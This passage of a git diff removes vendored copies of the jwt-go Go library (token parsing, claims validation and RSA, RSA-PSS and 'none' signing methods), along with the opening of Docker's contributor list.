-) - -// Claims type that uses the map[string]interface{} for JSON decoding -// This is the default claims type if you don't supply one -type MapClaims map[string]interface{} - -// Compares the aud claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (m MapClaims) VerifyAudience(cmp string, req bool) bool { - aud, _ := m["aud"].(string) - return verifyAud(aud, cmp, req) -} - -// Compares the exp claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (m MapClaims) VerifyExpiresAt(cmp int64, req bool) bool { - switch exp := m["exp"].(type) { - case float64: - return verifyExp(int64(exp), cmp, req) - case json.Number: - v, _ := exp.Int64() - return verifyExp(v, cmp, req) - } - return req == false -} - -// Compares the iat claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (m MapClaims) VerifyIssuedAt(cmp int64, req bool) bool { - switch iat := m["iat"].(type) { - case float64: - return verifyIat(int64(iat), cmp, req) - case json.Number: - v, _ := iat.Int64() - return verifyIat(v, cmp, req) - } - return req == false -} - -// Compares the iss claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (m MapClaims) VerifyIssuer(cmp string, req bool) bool { - iss, _ := m["iss"].(string) - return verifyIss(iss, cmp, req) -} - -// Compares the nbf claim against cmp. -// If required is false, this method will return true if the value matches or is unset -func (m MapClaims) VerifyNotBefore(cmp int64, req bool) bool { - switch nbf := m["nbf"].(type) { - case float64: - return verifyNbf(int64(nbf), cmp, req) - case json.Number: - v, _ := nbf.Int64() - return verifyNbf(v, cmp, req) - } - return req == false -} - -// Validates time based claims "exp, iat, nbf". -// There is no accounting for clock skew. -// As well, if any of the above claims are not in the token, it will still -// be considered a valid claim. -func (m MapClaims) Valid() error { - vErr := new(ValidationError) - now := TimeFunc().Unix() - - if m.VerifyExpiresAt(now, false) == false { - vErr.Inner = errors.New("Token is expired") - vErr.Errors |= ValidationErrorExpired - } - - if m.VerifyIssuedAt(now, false) == false { - vErr.Inner = errors.New("Token used before issued") - vErr.Errors |= ValidationErrorIssuedAt - } - - if m.VerifyNotBefore(now, false) == false { - vErr.Inner = errors.New("Token is not valid yet") - vErr.Errors |= ValidationErrorNotValidYet - } - - if vErr.valid() { - return nil - } - - return vErr -} diff --git a/vendor/github.com/dgrijalva/jwt-go/none.go b/vendor/github.com/dgrijalva/jwt-go/none.go deleted file mode 100644 index f04d189d06..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/none.go +++ /dev/null @@ -1,52 +0,0 @@ -package jwt - -// Implements the none signing method. This is required by the spec -// but you probably should never use it. -var SigningMethodNone *signingMethodNone - -const UnsafeAllowNoneSignatureType unsafeNoneMagicConstant = "none signing method allowed" - -var NoneSignatureTypeDisallowedError error - -type signingMethodNone struct{} -type unsafeNoneMagicConstant string - -func init() { - SigningMethodNone = &signingMethodNone{} - NoneSignatureTypeDisallowedError = NewValidationError("'none' signature type is not allowed", ValidationErrorSignatureInvalid) - - RegisterSigningMethod(SigningMethodNone.Alg(), func() SigningMethod { - return SigningMethodNone - }) -} - -func (m *signingMethodNone) Alg() string { - return "none" -} - -// Only allow 'none' alg type if UnsafeAllowNoneSignatureType is specified as the key -func (m *signingMethodNone) Verify(signingString, signature string, key interface{}) (err error) { - // Key must be UnsafeAllowNoneSignatureType to prevent accidentally - // accepting 'none' signing method - if _, ok := key.(unsafeNoneMagicConstant); !ok { - return NoneSignatureTypeDisallowedError - } - // If signing method is none, signature must be an empty string - if signature != "" { - return NewValidationError( - "'none' signing method with non-empty signature", - ValidationErrorSignatureInvalid, - ) - } - - // Accept 'none' signing method. - return nil -} - -// Only allow 'none' signing if UnsafeAllowNoneSignatureType is specified as the key -func (m *signingMethodNone) Sign(signingString string, key interface{}) (string, error) { - if _, ok := key.(unsafeNoneMagicConstant); ok { - return "", nil - } - return "", NoneSignatureTypeDisallowedError -} diff --git a/vendor/github.com/dgrijalva/jwt-go/parser.go b/vendor/github.com/dgrijalva/jwt-go/parser.go deleted file mode 100644 index d6901d9adb..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/parser.go +++ /dev/null @@ -1,148 +0,0 @@ -package jwt - -import ( - "bytes" - "encoding/json" - "fmt" - "strings" -) - -type Parser struct { - ValidMethods []string // If populated, only these methods will be considered valid - UseJSONNumber bool // Use JSON Number format in JSON decoder - SkipClaimsValidation bool // Skip claims validation during token parsing -} - -// Parse, validate, and return a token. -// keyFunc will receive the parsed token and should return the key for validating. -// If everything is kosher, err will be nil -func (p *Parser) Parse(tokenString string, keyFunc Keyfunc) (*Token, error) { - return p.ParseWithClaims(tokenString, MapClaims{}, keyFunc) -} - -func (p *Parser) ParseWithClaims(tokenString string, claims Claims, keyFunc Keyfunc) (*Token, error) { - token, parts, err := p.ParseUnverified(tokenString, claims) - if err != nil { - return token, err - } - - // Verify signing method is in the required set - if p.ValidMethods != nil { - var signingMethodValid = false - var alg = token.Method.Alg() - for _, m := range p.ValidMethods { - if m == alg { - signingMethodValid = true - break - } - } - if !signingMethodValid { - // signing method is not in the listed set - return token, NewValidationError(fmt.Sprintf("signing method %v is invalid", alg), ValidationErrorSignatureInvalid) - } - } - - // Lookup key - var key interface{} - if keyFunc == nil { - // keyFunc was not provided. short circuiting validation - return token, NewValidationError("no Keyfunc was provided.", ValidationErrorUnverifiable) - } - if key, err = keyFunc(token); err != nil { - // keyFunc returned an error - if ve, ok := err.(*ValidationError); ok { - return token, ve - } - return token, &ValidationError{Inner: err, Errors: ValidationErrorUnverifiable} - } - - vErr := &ValidationError{} - - // Validate Claims - if !p.SkipClaimsValidation { - if err := token.Claims.Valid(); err != nil { - - // If the Claims Valid returned an error, check if it is a validation error, - // If it was another error type, create a ValidationError with a generic ClaimsInvalid flag set - if e, ok := err.(*ValidationError); !ok { - vErr = &ValidationError{Inner: err, Errors: ValidationErrorClaimsInvalid} - } else { - vErr = e - } - } - } - - // Perform validation - token.Signature = parts[2] - if err = token.Method.Verify(strings.Join(parts[0:2], "."), token.Signature, key); err != nil { - vErr.Inner = err - vErr.Errors |= ValidationErrorSignatureInvalid - } - - if vErr.valid() { - token.Valid = true - return token, nil - } - - return token, vErr -} - -// WARNING: Don't use this method unless you know what you're doing -// -// This method parses the token but doesn't validate the signature. It's only -// ever useful in cases where you know the signature is valid (because it has -// been checked previously in the stack) and you want to extract values from -// it. -func (p *Parser) ParseUnverified(tokenString string, claims Claims) (token *Token, parts []string, err error) { - parts = strings.Split(tokenString, ".") - if len(parts) != 3 { - return nil, parts, NewValidationError("token contains an invalid number of segments", ValidationErrorMalformed) - } - - token = &Token{Raw: tokenString} - - // parse Header - var headerBytes []byte - if headerBytes, err = DecodeSegment(parts[0]); err != nil { - if strings.HasPrefix(strings.ToLower(tokenString), "bearer ") { - return token, parts, NewValidationError("tokenstring should not contain 'bearer '", ValidationErrorMalformed) - } - return token, parts, &ValidationError{Inner: err, Errors: ValidationErrorMalformed} - } - if err = json.Unmarshal(headerBytes, &token.Header); err != nil { - return token, parts, &ValidationError{Inner: err, Errors: ValidationErrorMalformed} - } - - // parse Claims - var claimBytes []byte - token.Claims = claims - - if claimBytes, err = DecodeSegment(parts[1]); err != nil { - return token, parts, &ValidationError{Inner: err, Errors: ValidationErrorMalformed} - } - dec := json.NewDecoder(bytes.NewBuffer(claimBytes)) - if p.UseJSONNumber { - dec.UseNumber() - } - // JSON Decode. Special case for map type to avoid weird pointer behavior - if c, ok := token.Claims.(MapClaims); ok { - err = dec.Decode(&c) - } else { - err = dec.Decode(&claims) - } - // Handle decode error - if err != nil { - return token, parts, &ValidationError{Inner: err, Errors: ValidationErrorMalformed} - } - - // Lookup signature method - if method, ok := token.Header["alg"].(string); ok { - if token.Method = GetSigningMethod(method); token.Method == nil { - return token, parts, NewValidationError("signing method (alg) is unavailable.", ValidationErrorUnverifiable) - } - } else { - return token, parts, NewValidationError("signing method (alg) is unspecified.", ValidationErrorUnverifiable) - } - - return token, parts, nil -} diff --git a/vendor/github.com/dgrijalva/jwt-go/rsa.go b/vendor/github.com/dgrijalva/jwt-go/rsa.go deleted file mode 100644 index e4caf1ca4a..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/rsa.go +++ /dev/null @@ -1,101 +0,0 @@ -package jwt - -import ( - "crypto" - "crypto/rand" - "crypto/rsa" -) - -// Implements the RSA family of signing methods signing methods -// Expects *rsa.PrivateKey for signing and *rsa.PublicKey for validation -type SigningMethodRSA struct { - Name string - Hash crypto.Hash -} - -// Specific instances for RS256 and company -var ( - SigningMethodRS256 *SigningMethodRSA - SigningMethodRS384 *SigningMethodRSA - SigningMethodRS512 *SigningMethodRSA -) - -func init() { - // RS256 - SigningMethodRS256 = &SigningMethodRSA{"RS256", crypto.SHA256} - RegisterSigningMethod(SigningMethodRS256.Alg(), func() SigningMethod { - return SigningMethodRS256 - }) - - // RS384 - SigningMethodRS384 = &SigningMethodRSA{"RS384", crypto.SHA384} - RegisterSigningMethod(SigningMethodRS384.Alg(), func() SigningMethod { - return SigningMethodRS384 - }) - - // RS512 - SigningMethodRS512 = &SigningMethodRSA{"RS512", crypto.SHA512} - RegisterSigningMethod(SigningMethodRS512.Alg(), func() SigningMethod { - return SigningMethodRS512 - }) -} - -func (m *SigningMethodRSA) Alg() string { - return m.Name -} - -// Implements the Verify method from SigningMethod -// For this signing method, must be an *rsa.PublicKey structure. -func (m *SigningMethodRSA) Verify(signingString, signature string, key interface{}) error { - var err error - - // Decode the signature - var sig []byte - if sig, err = DecodeSegment(signature); err != nil { - return err - } - - var rsaKey *rsa.PublicKey - var ok bool - - if rsaKey, ok = key.(*rsa.PublicKey); !ok { - return ErrInvalidKeyType - } - - // Create hasher - if !m.Hash.Available() { - return ErrHashUnavailable - } - hasher := m.Hash.New() - hasher.Write([]byte(signingString)) - - // Verify the signature - return rsa.VerifyPKCS1v15(rsaKey, m.Hash, hasher.Sum(nil), sig) -} - -// Implements the Sign method from SigningMethod -// For this signing method, must be an *rsa.PrivateKey structure. -func (m *SigningMethodRSA) Sign(signingString string, key interface{}) (string, error) { - var rsaKey *rsa.PrivateKey - var ok bool - - // Validate type of key - if rsaKey, ok = key.(*rsa.PrivateKey); !ok { - return "", ErrInvalidKey - } - - // Create the hasher - if !m.Hash.Available() { - return "", ErrHashUnavailable - } - - hasher := m.Hash.New() - hasher.Write([]byte(signingString)) - - // Sign the string and return the encoded bytes - if sigBytes, err := rsa.SignPKCS1v15(rand.Reader, rsaKey, m.Hash, hasher.Sum(nil)); err == nil { - return EncodeSegment(sigBytes), nil - } else { - return "", err - } -} diff --git a/vendor/github.com/dgrijalva/jwt-go/rsa_pss.go b/vendor/github.com/dgrijalva/jwt-go/rsa_pss.go deleted file mode 100644 index 10ee9db8a4..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/rsa_pss.go +++ /dev/null @@ -1,126 +0,0 @@ -// +build go1.4 - -package jwt - -import ( - "crypto" - "crypto/rand" - "crypto/rsa" -) - -// Implements the RSAPSS family of signing methods signing methods -type SigningMethodRSAPSS struct { - *SigningMethodRSA - Options *rsa.PSSOptions -} - -// Specific instances for RS/PS and company -var ( - SigningMethodPS256 *SigningMethodRSAPSS - SigningMethodPS384 *SigningMethodRSAPSS - SigningMethodPS512 *SigningMethodRSAPSS -) - -func init() { - // PS256 - SigningMethodPS256 = &SigningMethodRSAPSS{ - &SigningMethodRSA{ - Name: "PS256", - Hash: crypto.SHA256, - }, - &rsa.PSSOptions{ - SaltLength: rsa.PSSSaltLengthAuto, - Hash: crypto.SHA256, - }, - } - RegisterSigningMethod(SigningMethodPS256.Alg(), func() SigningMethod { - return SigningMethodPS256 - }) - - // PS384 - SigningMethodPS384 = &SigningMethodRSAPSS{ - &SigningMethodRSA{ - Name: "PS384", - Hash: crypto.SHA384, - }, - &rsa.PSSOptions{ - SaltLength: rsa.PSSSaltLengthAuto, - Hash: crypto.SHA384, - }, - } - RegisterSigningMethod(SigningMethodPS384.Alg(), func() SigningMethod { - return SigningMethodPS384 - }) - - // PS512 - SigningMethodPS512 = &SigningMethodRSAPSS{ - &SigningMethodRSA{ - Name: "PS512", - Hash: crypto.SHA512, - }, - &rsa.PSSOptions{ - SaltLength: rsa.PSSSaltLengthAuto, - Hash: crypto.SHA512, - }, - } - RegisterSigningMethod(SigningMethodPS512.Alg(), func() SigningMethod { - return SigningMethodPS512 - }) -} - -// Implements the Verify method from SigningMethod -// For this verify method, key must be an rsa.PublicKey struct -func (m *SigningMethodRSAPSS) Verify(signingString, signature string, key interface{}) error { - var err error - - // Decode the signature - var sig []byte - if sig, err = DecodeSegment(signature); err != nil { - return err - } - - var rsaKey *rsa.PublicKey - switch k := key.(type) { - case *rsa.PublicKey: - rsaKey = k - default: - return ErrInvalidKey - } - - // Create hasher - if !m.Hash.Available() { - return ErrHashUnavailable - } - hasher := m.Hash.New() - hasher.Write([]byte(signingString)) - - return rsa.VerifyPSS(rsaKey, m.Hash, hasher.Sum(nil), sig, m.Options) -} - -// Implements the Sign method from SigningMethod -// For this signing method, key must be an rsa.PrivateKey struct -func (m *SigningMethodRSAPSS) Sign(signingString string, key interface{}) (string, error) { - var rsaKey *rsa.PrivateKey - - switch k := key.(type) { - case *rsa.PrivateKey: - rsaKey = k - default: - return "", ErrInvalidKeyType - } - - // Create the hasher - if !m.Hash.Available() { - return "", ErrHashUnavailable - } - - hasher := m.Hash.New() - hasher.Write([]byte(signingString)) - - // Sign the string and return the encoded bytes - if sigBytes, err := rsa.SignPSS(rand.Reader, rsaKey, m.Hash, hasher.Sum(nil), m.Options); err == nil { - return EncodeSegment(sigBytes), nil - } else { - return "", err - } -} diff --git a/vendor/github.com/dgrijalva/jwt-go/rsa_utils.go b/vendor/github.com/dgrijalva/jwt-go/rsa_utils.go deleted file mode 100644 index a5ababf956..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/rsa_utils.go +++ /dev/null @@ -1,101 +0,0 @@ -package jwt - -import ( - "crypto/rsa" - "crypto/x509" - "encoding/pem" - "errors" -) - -var ( - ErrKeyMustBePEMEncoded = errors.New("Invalid Key: Key must be PEM encoded PKCS1 or PKCS8 private key") - ErrNotRSAPrivateKey = errors.New("Key is not a valid RSA private key") - ErrNotRSAPublicKey = errors.New("Key is not a valid RSA public key") -) - -// Parse PEM encoded PKCS1 or PKCS8 private key -func ParseRSAPrivateKeyFromPEM(key []byte) (*rsa.PrivateKey, error) { - var err error - - // Parse PEM block - var block *pem.Block - if block, _ = pem.Decode(key); block == nil { - return nil, ErrKeyMustBePEMEncoded - } - - var parsedKey interface{} - if parsedKey, err = x509.ParsePKCS1PrivateKey(block.Bytes); err != nil { - if parsedKey, err = x509.ParsePKCS8PrivateKey(block.Bytes); err != nil { - return nil, err - } - } - - var pkey *rsa.PrivateKey - var ok bool - if pkey, ok = parsedKey.(*rsa.PrivateKey); !ok { - return nil, ErrNotRSAPrivateKey - } - - return pkey, nil -} - -// Parse PEM encoded PKCS1 or PKCS8 private key protected with password -func ParseRSAPrivateKeyFromPEMWithPassword(key []byte, password string) (*rsa.PrivateKey, error) { - var err error - - // Parse PEM block - var block *pem.Block - if block, _ = pem.Decode(key); block == nil { - return nil, ErrKeyMustBePEMEncoded - } - - var parsedKey interface{} - - var blockDecrypted []byte - if blockDecrypted, err = x509.DecryptPEMBlock(block, []byte(password)); err != nil { - return nil, err - } - - if parsedKey, err = x509.ParsePKCS1PrivateKey(blockDecrypted); err != nil { - if parsedKey, err = x509.ParsePKCS8PrivateKey(blockDecrypted); err != nil { - return nil, err - } - } - - var pkey *rsa.PrivateKey - var ok bool - if pkey, ok = parsedKey.(*rsa.PrivateKey); !ok { - return nil, ErrNotRSAPrivateKey - } - - return pkey, nil -} - -// Parse PEM encoded PKCS1 or PKCS8 public key -func ParseRSAPublicKeyFromPEM(key []byte) (*rsa.PublicKey, error) { - var err error - - // Parse PEM block - var block *pem.Block - if block, _ = pem.Decode(key); block == nil { - return nil, ErrKeyMustBePEMEncoded - } - - // Parse the key - var parsedKey interface{} - if parsedKey, err = x509.ParsePKIXPublicKey(block.Bytes); err != nil { - if cert, err := x509.ParseCertificate(block.Bytes); err == nil { - parsedKey = cert.PublicKey - } else { - return nil, err - } - } - - var pkey *rsa.PublicKey - var ok bool - if pkey, ok = parsedKey.(*rsa.PublicKey); !ok { - return nil, ErrNotRSAPublicKey - } - - return pkey, nil -} diff --git a/vendor/github.com/dgrijalva/jwt-go/signing_method.go b/vendor/github.com/dgrijalva/jwt-go/signing_method.go deleted file mode 100644 index ed1f212b21..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/signing_method.go +++ /dev/null @@ -1,35 +0,0 @@ -package jwt - -import ( - "sync" -) - -var signingMethods = map[string]func() SigningMethod{} -var signingMethodLock = new(sync.RWMutex) - -// Implement SigningMethod to add new methods for signing or verifying tokens. -type SigningMethod interface { - Verify(signingString, signature string, key interface{}) error // Returns nil if signature is valid - Sign(signingString string, key interface{}) (string, error) // Returns encoded signature or error - Alg() string // returns the alg identifier for this method (example: 'HS256') -} - -// Register the "alg" name and a factory function for signing method. -// This is typically done during init() in the method's implementation -func RegisterSigningMethod(alg string, f func() SigningMethod) { - signingMethodLock.Lock() - defer signingMethodLock.Unlock() - - signingMethods[alg] = f -} - -// Get a signing method from an "alg" string -func GetSigningMethod(alg string) (method SigningMethod) { - signingMethodLock.RLock() - defer signingMethodLock.RUnlock() - - if methodF, ok := signingMethods[alg]; ok { - method = methodF() - } - return -} diff --git a/vendor/github.com/dgrijalva/jwt-go/token.go b/vendor/github.com/dgrijalva/jwt-go/token.go deleted file mode 100644 index d637e0867c..0000000000 --- a/vendor/github.com/dgrijalva/jwt-go/token.go +++ /dev/null @@ -1,108 +0,0 @@ -package jwt - -import ( - "encoding/base64" - "encoding/json" - "strings" - "time" -) - -// TimeFunc provides the current time when parsing token to validate "exp" claim (expiration time). -// You can override it to use another time value. This is useful for testing or if your -// server uses a different time zone than your tokens. -var TimeFunc = time.Now - -// Parse methods use this callback function to supply -// the key for verification. The function receives the parsed, -// but unverified Token. This allows you to use properties in the -// Header of the token (such as `kid`) to identify which key to use. -type Keyfunc func(*Token) (interface{}, error) - -// A JWT Token. Different fields will be used depending on whether you're -// creating or parsing/verifying a token. -type Token struct { - Raw string // The raw token. Populated when you Parse a token - Method SigningMethod // The signing method used or to be used - Header map[string]interface{} // The first segment of the token - Claims Claims // The second segment of the token - Signature string // The third segment of the token. Populated when you Parse a token - Valid bool // Is the token valid? Populated when you Parse/Verify a token -} - -// Create a new Token. Takes a signing method -func New(method SigningMethod) *Token { - return NewWithClaims(method, MapClaims{}) -} - -func NewWithClaims(method SigningMethod, claims Claims) *Token { - return &Token{ - Header: map[string]interface{}{ - "typ": "JWT", - "alg": method.Alg(), - }, - Claims: claims, - Method: method, - } -} - -// Get the complete, signed token -func (t *Token) SignedString(key interface{}) (string, error) { - var sig, sstr string - var err error - if sstr, err = t.SigningString(); err != nil { - return "", err - } - if sig, err = t.Method.Sign(sstr, key); err != nil { - return "", err - } - return strings.Join([]string{sstr, sig}, "."), nil -} - -// Generate the signing string. This is the -// most expensive part of the whole deal. Unless you -// need this for something special, just go straight for -// the SignedString. -func (t *Token) SigningString() (string, error) { - var err error - parts := make([]string, 2) - for i, _ := range parts { - var jsonValue []byte - if i == 0 { - if jsonValue, err = json.Marshal(t.Header); err != nil { - return "", err - } - } else { - if jsonValue, err = json.Marshal(t.Claims); err != nil { - return "", err - } - } - - parts[i] = EncodeSegment(jsonValue) - } - return strings.Join(parts, "."), nil -} - -// Parse, validate, and return a token. -// keyFunc will receive the parsed token and should return the key for validating. -// If everything is kosher, err will be nil -func Parse(tokenString string, keyFunc Keyfunc) (*Token, error) { - return new(Parser).Parse(tokenString, keyFunc) -} - -func ParseWithClaims(tokenString string, claims Claims, keyFunc Keyfunc) (*Token, error) { - return new(Parser).ParseWithClaims(tokenString, claims, keyFunc) -} - -// Encode JWT specific base64url encoding with padding stripped -func EncodeSegment(seg []byte) string { - return strings.TrimRight(base64.URLEncoding.EncodeToString(seg), "=") -} - -// Decode JWT specific base64url encoding with padding stripped -func DecodeSegment(seg string) ([]byte, error) { - if l := len(seg) % 4; l > 0 { - seg += strings.Repeat("=", 4-l) - } - - return base64.URLEncoding.DecodeString(seg) -} diff --git a/vendor/github.com/docker/docker/AUTHORS b/vendor/github.com/docker/docker/AUTHORS deleted file mode 100644 index 46102d7402..0000000000 --- a/vendor/github.com/docker/docker/AUTHORS +++ /dev/null @@ -1,1984 +0,0 @@ -# This file lists all individuals having contributed content to the repository. -# For how it is generated, see `hack/generate-authors.sh`. - -Aanand Prasad -Aaron Davidson -Aaron Feng -Aaron Huslage -Aaron L. Xu -Aaron Lehmann -Aaron Welch -Aaron.L.Xu -Abel MuiÃąo -Abhijeet Kasurde -Abhinandan Prativadi -Abhinav Ajgaonkar -Abhishek Chanda -Abhishek Sharma -Abin Shahab -Adam Avilla -Adam Eijdenberg -Adam Kunk -Adam Miller -Adam Mills -Adam Pointer -Adam Singer -Adam Walz -Addam Hardy -Aditi Rajagopal -Aditya -Adnan Khan -Adolfo Ochagavía -Adria Casas -Adrian Moisey -Adrian Mouat -Adrian Oprea -Adrien Folie -Adrien GallouÃĢt -Ahmed Kamal -Ahmet Alp Balkan -Aidan Feldman -Aidan Hobson Sayers -AJ Bowen -Ajey Charantimath -ajneu -Akash Gupta -Akihiro Matsushima -Akihiro Suda -Akim Demaille -Akira Koyasu -Akshay Karle -Al Tobey -alambike -Alan Scherger -Alan Thompson -Albert Callarisa -Albert Zhang -Alejandro GonzÃĄlez Hevia -Aleksa Sarai -Aleksandrs Fadins -Alena Prokharchyk -Alessandro Boch -Alessio Biancalana -Alex Chan -Alex Chen -Alex Coventry -Alex Crawford -Alex Ellis -Alex Gaynor -Alex Goodman -Alex Olshansky -Alex Samorukov -Alex Warhawk -Alexander Artemenko -Alexander Boyd -Alexander Larsson -Alexander Midlash -Alexander Morozov -Alexander Shopov -Alexandre Beslic -Alexandre Garnier -Alexandre GonzÃĄlez -Alexandre Jomin -Alexandru Sfirlogea -Alexey Guskov -Alexey Kotlyarov -Alexey Shamrin -Alexis THOMAS -Alfred Landrum -Ali Dehghani -Alicia Lauerman -Alihan Demir -Allen Madsen -Allen Sun -almoehi -Alvaro Saurin -Alvin Deng -Alvin Richards -amangoel -Amen Belayneh -Amir Goldstein -Amit Bakshi -Amit Krishnan -Amit Shukla -Amr Gawish -Amy Lindburg -Anand Patil -AnandkumarPatel -Anatoly Borodin -Anchal Agrawal -Anda Xu -Anders Janmyr -Andre Dublin <81dublin@gmail.com> -Andre Granovsky -Andrea Luzzardi -Andrea Turli -Andreas Elvers -Andreas KÃļhler -Andreas Savvides -Andreas Tiefenthaler -Andrei Gherzan -Andrew C. Bodine -Andrew Clay Shafer -Andrew Duckworth -Andrew France -Andrew Gerrand -Andrew Guenther -Andrew He -Andrew Hsu -Andrew Kuklewicz -Andrew Macgregor -Andrew Macpherson -Andrew Martin -Andrew McDonnell -Andrew Munsell -Andrew Pennebaker -Andrew Po -Andrew Weiss -Andrew Williams -Andrews Medina -Andrey Petrov -Andrey Stolbovsky -AndrÊ Martins -andy -Andy Chambers -andy diller -Andy Goldstein -Andy Kipp -Andy Rothfusz -Andy Smith -Andy Wilson -Anes Hasicic -Anil Belur -Anil Madhavapeddy -Ankush Agarwal -Anonmily -Anran Qiao -Anshul Pundir -Anthon van der Neut -Anthony Baire -Anthony Bishopric -Anthony Dahanne -Anthony Sottile -Anton LÃļfgren -Anton Nikitin -Anton Polonskiy -Anton Tiurin -Antonio Murdaca -Antonis Kalipetis -Antony Messerli -Anuj Bahuguna -Anusha Ragunathan -apocas -Arash Deshmeh -ArikaChen -Arnaud Lefebvre -Arnaud Porterie -Arthur Barr -Arthur Gautier -Artur Meyster -Arun Gupta -Asad Saeeduddin -Asbjørn Enge -averagehuman -Avi Das -Avi Miller -Avi Vaid -ayoshitake -Azat Khuyiyakhmetov -Bardia Keyoumarsi -Barnaby Gray -Barry Allard -Bartłomiej Piotrowski -Bastiaan Bakker -bdevloed -Ben Bonnefoy -Ben Firshman -Ben Golub -Ben Hall -Ben Sargent -Ben Severson -Ben Toews -Ben Wiklund -Benjamin Atkin -Benjamin Boudreau -Benjamin Yolken -Benoit Chesneau -Bernerd Schaefer -Bernhard M. Wiedemann -Bert Goethals -Bharath Thiruveedula -Bhiraj Butala -Bhumika Bayani -Bilal Amarni -Bill Wang -Bin Liu -Bingshen Wang -Blake Geno -Boaz Shuster -bobby abbott -Boris Pruessmann -Boshi Lian -Bouke Haarsma -Boyd Hemphill -boynux -Bradley Cicenas -Bradley Wright -Brandon Liu -Brandon Philips -Brandon Rhodes -Brendan Dixon -Brent Salisbury -Brett Higgins -Brett Kochendorfer -Brett Randall -Brian (bex) Exelbierd -Brian Bland -Brian DeHamer -Brian Dorsey -Brian Flad -Brian Goff -Brian McCallister -Brian Olsen -Brian Schwind -Brian Shumate -Brian Torres-Gil -Brian Trump -Brice Jaglin -Briehan Lombaard -Bruno Bigras -Bruno Binet -Bruno Gazzera -Bruno ReniÊ -Bruno Tavares -Bryan Bess -Bryan Boreham -Bryan Matsuo -Bryan Murphy -Burke Libbey -Byung Kang -Caleb Spare -Calen Pennington -Cameron Boehmer -Cameron Spear -Campbell Allen -Candid Dauth -Cao Weiwei -Carl Henrik Lunde -Carl Loa Odin -Carl X. Su -Carlo Mion -Carlos Alexandro Becker -Carlos Sanchez -Carol Fager-Higgins -Cary -Casey Bisson -Catalin Pirvu -Ce Gao -Cedric Davies -Cezar Sa Espinola -Chad Swenson -Chance Zibolski -Chander Govindarajan -Chanhun Jeong -Chao Wang -Charles Chan -Charles Hooper -Charles Law -Charles Lindsay -Charles Merriam -Charles Sarrazin -Charles Smith -Charlie Drage -Charlie Lewis -Chase Bolt -ChaYoung You -Chen Chao -Chen Chuanliang -Chen Hanxiao -Chen Min -Chen Mingjie -Chen Qiu -Cheng-mean Liu -Chengguang Xu -chenyuzhu -Chetan Birajdar -Chewey -Chia-liang Kao -chli -Cholerae Hu -Chris Alfonso -Chris Armstrong -Chris Dias -Chris Dituri -Chris Fordham -Chris Gavin -Chris Gibson -Chris Khoo -Chris McKinnel -Chris McKinnel -Chris Seto -Chris Snow -Chris St. Pierre -Chris Stivers -Chris Swan -Chris Telfer -Chris Wahl -Chris Weyl -Christian Berendt -Christian Brauner -Christian BÃļhme -Christian Persson -Christian Rotzoll -Christian Simon -Christian Stefanescu -Christophe Mehay -Christophe Troestler -Christophe Vidal -Christopher Biscardi -Christopher Crone -Christopher Currie -Christopher Jones -Christopher Latham -Christopher Rigor -Christy Perez -Chun Chen -Ciro S. Costa -Clayton Coleman -Clinton Kitson -Cody Roseborough -Coenraad Loubser -Colin Dunklau -Colin Hebert -Colin Rice -Colin Walters -Collin Guarino -Colm Hally -companycy -Corbin Coleman -Corey Farrell -Cory Forsyth -cressie176 -CrimsonGlory -Cristian Staretu -cristiano balducci -Cruceru Calin-Cristian -CUI Wei -Cyprian Gracz -Cyril F -Daan van Berkel -Daehyeok Mun -Dafydd Crosby -dalanlan -Damian Smyth -Damien NadÊ -Damien Nozay -Damjan Georgievski -Dan Anolik -Dan Buch -Dan Cotora -Dan Feldman -Dan Griffin -Dan Hirsch -Dan Keder -Dan Levy -Dan McPherson -Dan Stine -Dan Williams -Dani Louca -Daniel Antlinger -Daniel Dao -Daniel Exner -Daniel Farrell -Daniel Garcia -Daniel Gasienica -Daniel Grunwell -Daniel Hiltgen -Daniel J Walsh -Daniel Menet -Daniel Mizyrycki -Daniel Nephin -Daniel Norberg -Daniel Nordberg -Daniel Robinson -Daniel S -Daniel Von Fange -Daniel Watkins -Daniel X Moore -Daniel YC Lin -Daniel Zhang -Danny Berger -Danny Yates -Danyal Khaliq -Darren Coxall -Darren Shepherd -Darren Stahl -Dattatraya Kumbhar -Davanum Srinivas -Dave Barboza -Dave Goodchild -Dave Henderson -Dave MacDonald -Dave Tucker -David Anderson -David Calavera -David Chung -David Corking -David Cramer -David Currie -David Davis -David Dooling -David Gageot -David Gebler -David Glasser -David Lawrence -David Lechner -David M. Karr -David Mackey -David Mat -David Mcanulty -David McKay -David Pelaez -David R. Jenni -David RÃļthlisberger -David Sheets -David Sissitka -David Trott -David Williamson -David Xia -David Young -Davide Ceretti -Dawn Chen -dbdd -dcylabs -Deborah Gertrude Digges -deed02392 -Deng Guangxing -Deni Bertovic -Denis Defreyne -Denis Gladkikh -Denis Ollier -Dennis Chen -Dennis Chen -Dennis Docter -Derek -Derek -Derek Ch -Derek McGowan -Deric Crago -Deshi Xiao -devmeyster -Devvyn Murphy -Dharmit Shah -Dhawal Yogesh Bhanushali -Diego Romero -Diego Siqueira -Dieter Reuter -Dillon Dixon -Dima Stopel -Dimitri John Ledkov -Dimitris Rozakis -Dimitry Andric -Dinesh Subhraveti -Ding Fei -Diogo Monica -DiuDiugirl -Djibril KonÊ -dkumor -Dmitri Logvinenko -Dmitri Shuralyov -Dmitry Demeshchuk -Dmitry Gusev -Dmitry Kononenko -Dmitry Shyshkin -Dmitry Smirnov -Dmitry V. Krivenok -Dmitry Vorobev -Dolph Mathews -Dominik Dingel -Dominik Finkbeiner -Dominik Honnef -Don Kirkby -Don Kjer -Don Spaulding -Donald Huang -Dong Chen -Donovan Jones -Doron Podoleanu -Doug Davis -Doug MacEachern -Doug Tangren -Douglas Curtis -Dr Nic Williams -dragon788 -DraÅžen Lučanin -Drew Erny -Drew Hubl -Dustin Sallings -Ed Costello -Edmund Wagner -Eiichi Tsukata -Eike Herzbach -Eivin Giske Skaaren -Eivind Uggedal -Elan Ruusamäe -Elango Sivanandam -Elena Morozova -Eli Uriegas -Elias FaxÃļ -Elias Probst -Elijah Zupancic -eluck -Elvir Kuric -Emil Davtyan -Emil Hernvall -Emily Maier -Emily Rose -Emir Ozer -Enguerran 